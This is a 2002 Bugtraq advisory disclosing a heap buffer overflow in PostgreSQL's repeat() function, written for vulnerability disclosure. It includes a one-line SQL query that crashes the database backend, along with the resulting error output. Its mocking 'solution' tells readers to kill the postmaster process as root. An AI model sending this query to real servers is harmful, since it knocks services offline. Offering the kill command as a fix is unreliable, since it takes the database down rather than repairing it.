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From: Sir Mordred The Traitor
Date: Tue Aug 20, 2002 07:28:49 AM US/Pacific
To: bugtraq@securityfocus.com
Subject: @(#)Mordred Labs advisory 0x0003: Buffer overflow in
PostgreSQL
//@(#)Mordred Labs advisory 0x0003
Release data: 20/08/02
Name: Buffer overflow in PostgreSQL
Versions affected: all versions
Risk: high
--[ Description:
...PostgreSQL is a sophisticated Object-Relational DBMS,
supporting almost all SQL constructs, including subselects,
transactions, and user-defined types and functions. It is the
most advanced open-source database available
anywhere...blah...blah...
For more info check out this link:
http://www.postgresql.org/idocs/index.php?preface.html#INTRO-
WHATIS
There exists a heap buffer overflow in a repeat(text, integer)
function,
which
allows an attacker to execute malicious code.
--[ Details:
Upon invoking a repeat() function, a
src/backend/utils/adt/oracle_compat.c::repeat() function
will gets called which suffers from a buffer overflow.
--[ How to reproduce:
psql> select repeat('xxx',1431655765);
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
--[ Solution
Do you still running postgresql? ...Can't believe that...
If so, execute the following command as a root: "killall -9
postmaster",
and wait until the patch will be available.
